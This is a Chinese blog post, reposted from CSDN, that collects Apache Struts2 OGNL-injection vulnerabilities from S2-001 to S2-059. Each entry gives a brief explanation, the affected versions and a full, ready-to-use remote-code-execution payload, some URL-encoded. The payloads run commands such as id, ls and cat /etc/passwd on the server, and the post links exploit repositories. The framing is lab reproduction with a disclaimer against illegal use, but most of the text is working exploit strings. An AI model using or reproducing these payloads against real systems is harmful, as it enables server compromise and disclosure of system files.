0


Struts2 漏洞集合

Struts2 漏洞集合

总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充。

漏洞环境搭建可以使用在线的 Vulfocus ,或者使用docker部署

S2-001 (CVE-2007-4556)

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

影响版本

Struts 2.0.0 – Struts 2.0.8

复现过程

在框中输入%{1+2},会把其中的 value 值进行计算

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ebe21ebab5334a3cae6db60ddb161df6~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01be810a161e23031e.jpg "https://p1.ssl.qhimg.com/t01be810a161e23031e.jpg"" style="margin: auto" />

执行之后,变成了3( OGNL 表达式%{value}执行成功)

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/3a237be7827f44c9a803ea5c66ffbde0~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01757f60025f76545c.jpg "https://p1.ssl.qhimg.com/t01757f60025f76545c.jpg"" style="margin: auto" />

Poc

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]
{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new 
java.io.BufferedReader(#c),#e=new 
char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println
(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/9923693899b2412f9989be713595ccdc~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft016aacff8e41d776ac.jpg "https://p4.ssl.qhimg.com/t016aacff8e41d776ac.jpg"" style="margin: auto" />

【一>所有资源获取<一】 1、电子书籍(白帽子) 2、安全大厂内部视频 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线

S2-007

当 -validation.xml配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回,造成OGNL表达式注入。从而可能造成远程执行代码。

当用户 age 以str而不是的形式提交时 int,服务器将拼接 “‘“ + value + “‘“ 代码,然后使用OGNL表达式对其进行解析。为了成功完成任务,我们需要找到一个配置有相似验证规则的表单字段,以产生转换错误。然后,您可以通过注入SQL单引号的方式注入任何OGNL表达式代码

影响版本

2.0.0 – 2.2.3

Poc

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new 
java.lang.Boolean("false") 
,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,
@org.apache.commons.io.IOUtils@toString
(@java.lang.Runtime@getRuntime().exec('find /tmp/ -name flag*').getInputStream())) + ' 

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/16dc06a10e544505add9281458cdb323~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp2.ssl.qhimg.com%2Ft01be810a161e23031e.jpg "https://p2.ssl.qhimg.com/t01be810a161e23031e.jpg"" style="margin: auto" />

S2-013(CVE-2013-1966)

Apache Struts2的s:a和s:url标签都提供了一个includeParams属性。此属性允许使用的值包括none、get、all。当该属性被设置为get或all时,Apache Struts2会将用户提交的参数值作为Ognl表达式执行。攻击者可以提交带有恶意的Ongl表达式,达到执行任意Java代码的目的。只要基于Apache Struts2开发的JSP代码中使用了url/a标签并且设置了includeParams属性为all或get,远程攻击者即可利用此漏执行任意命令。

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/04d2f1ebb53142eb9fb8b8381fcb7125~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp5.ssl.qhimg.com%2Ft01ca23ad238e2e1bf9.png "https://p5.ssl.qhimg.com/t01ca23ad238e2e1bf9.png"" style="margin: auto" />

Poc (注:poc中的符号需要进行 url 编码之后才可以)

/link.action?fakeParam=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D 

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/b26304c0f6fe4f9e9eede4f08fd07d3f~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01128afe5227c12aaa.png "https://p1.ssl.qhimg.com/t01128afe5227c12aaa.png"" style="margin: auto" />

S2-012 (CVE-2013-1965)

OGNL 评估已在S2-003和S2-005和S2-009 中得到解决,但是,由于它只涉及参数的名称,因此结果是基于将可接受的参数名称列入白名单并拒绝评估参数中包含的表达式的结果修复名称,仅部分关闭了漏洞。

第二次评估发生在重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时。 这使得恶意用户可以将任意 OGNL 语句放入由操作公开的任何未经处理的 String 变量中,并将其评估为 OGNL 表达式以启用方法执行和执行任意方法,从而绕过 Struts 和 OGNL 库保护。

在配置文件中 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,可能会导致 OGNL 表达式命令执行。

Poc

%3d%25{%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{"cat"%2c "%2fetc%2fpasswd"})).redirectErrorStream(true).start()%2c%23b%3d%23a.getInputStream()%2c%23c%3dnew java.io.InputStreamReader(%23b)%2c%23d%3dnew java.io.BufferedReader(%23c)%2c%23e%3dnew char[50000]%2c%23d.read(%23e)%2c%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")%2c%23f.getWriter().println(new java.lang.String(%23e))%2c%23f.getWriter().flush()%2c%23f.getWriter().close()}%20 

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/fd7dc34428224cc780027e60e83ca267~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft0185a12a4afc9f1b4d.png "https://p4.ssl.qhimg.com/t0185a12a4afc9f1b4d.png"" style="margin: auto" />

S2-015 (CVE-2013-2135、CVE-2013-2134)

Struts 2 允许基于通配符定义动作映射,如下所示:

<action name="*" class="example.ExampleSupport"><result>/example/{1}.jsp</result>
</action> 

如果请求不匹配任何其他定义的动作,它将被匹配*并且请求的动作名称将用于根据动作名称加载 JSP 文件。并且由于 { 1} 的值被威胁为 OGNL 表达式,因此允许在服务器端执行任意 Java 代码。这个漏洞是两个问题的结合:

  • 请求的操作名称未转义或再次检查白名单

  • TextParseUtil.translateVariables使用组合$和%开放字符时对 OGNL 表达式的双重评估。

Poc

/$%7B%20%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())%7D.action 

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/21329575e4a244709543643ebabff33f~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp2.ssl.qhimg.com%2Ft01f86511b7741f0440.png "https://p2.ssl.qhimg.com/t01f86511b7741f0440.png"" style="margin: auto" />

S2-048 (CVE-2017-9791)

这个漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用。 而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击。

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/436054fa796c4973b382c9913b113a95~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp0.ssl.qhimg.com%2Ft01c930b99db2e32e4e.jpg "https://p0.ssl.qhimg.com/t01c930b99db2e32e4e.jpg"" style="margin: auto" />

Poc

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)} 

EXP连接 :github.com/dragoneeg/S…

注:仅供参考,请勿用作非法用途。

S2-019

Apache Struts 2.3.15.2之前版本的“Dynamic Method Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,这样就存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码。

Poc

/struts2-showcase-2.1.6/showcase.action?debug=command&expression=%23a%3D(new java.lang.ProcessBuilder('ls')).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char[50000]%2C%23d.read(%23e)%2C%23out%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23out.getWriter().println('dbapp%3A'%2bnew java.lang.String(%23e))%2C%23out.getWriter().flush()%2C%23out.getWriter().close()%0A 

S2-053

继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。

当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞。

影响范围

Struts 2.0.1 – Struts 2.3.33、Struts 2.5 – Struts 2.5.10

在框中输入 %{1+1} ,回显值 2,说明执行成功

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/f7d7a90bbcbf43ce85cc9ad2d0bb11f4~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp2.ssl.qhimg.com%2Ft0159b5b90af14659ea.jpg "https://p2.ssl.qhimg.com/t0159b5b90af14659ea.jpg"" style="margin: auto" />

Poc

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))} 

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/08a2def018a44d1487e4531e7de5801f~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp2.ssl.qhimg.com%2Ft01b25272318a987f5b.png "https://p2.ssl.qhimg.com/t01b25272318a987f5b.png"" style="margin: auto" />

S2-057

Apache wiki更新了一个Struts2的远程代码执行漏洞(S2-057),漏洞威胁等级为高危,漏洞对应的CVE编号为CVE-2018-11776。 定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。

当Struts2的漏洞利用以下条件时:

  • alwaysSelectFullNamespace值为true

  • action元素未设置namespace属性,或使用了通配符

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

Poc

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/1490b34874514ad39f1f420c4b39445d~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp0.ssl.qhimg.com%2Ft0156f2bfe5a267de55.png "https://p0.ssl.qhimg.com/t0156f2bfe5a267de55.png"" style="margin: auto" />

Poc(需要url编码)

${(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).
(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#[email protected]@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))} 

EXP连接 : github.com/mazen160/st…

注:仅供参考,请勿用作非法用途。

S2-037 S2-052 s2-033 (这几个Poc 可以重复使用)

Poc

url/orders/4/(%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?
&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=id 

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/a8b2f1e54a3c45cba2132f3886339dd7~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp3.ssl.qhimg.com%2Ft01d577592b9655056e.png "https://p3.ssl.qhimg.com/t01d577592b9655056e.png"" style="margin: auto" />

S2-059

Poc

=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d 

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c1ba59990a1d437da6c871db4908612d~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft0112e74038e7e8aa03.png "https://p1.ssl.qhimg.com/t0112e74038e7e8aa03.png"" style="margin: auto" />

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c905e6cfbf7947308ccc66b6abe67018~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp3.ssl.qhimg.com%2Ft01e1b915f849b774f0.png "https://p3.ssl.qhimg.com/t01e1b915f849b774f0.png"" style="margin: auto" />

S2-045(CVE-2017-5638) S2-046 (POC通用)

Apache官方发布Struts 2 紧急漏洞公告(S2-046),CVE编号CVE-2017-5638。公告中披露 ,当基于Jakarta插件上传文件时,可导致远程代码执行。例如在系统中获得管理员权限,执行添加用户。可任意查看、修改或删除文件。造成机密数据泄露,重要信息遭到篡改等重大危害。

S2-045漏洞影响的版本有:

Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10

Poc

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].
addHeader('vulhub',233*233)}.multipart/form-data 

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/fecd9cc3c6cc466e9c2507e2568acc7b~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft014f59038d93fa3431.png "https://p4.ssl.qhimg.com/t014f59038d93fa3431.png"" style="margin: auto" />

Poc

%{(#nike='multipart/form-data').
(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 

本文转载自: https://blog.csdn.net/WLANQY/article/details/128677131
版权归原作者 WLANQY 所有, 如有侵权,请联系我们删除。

“Struts2 漏洞集合”的评论:

还没有评论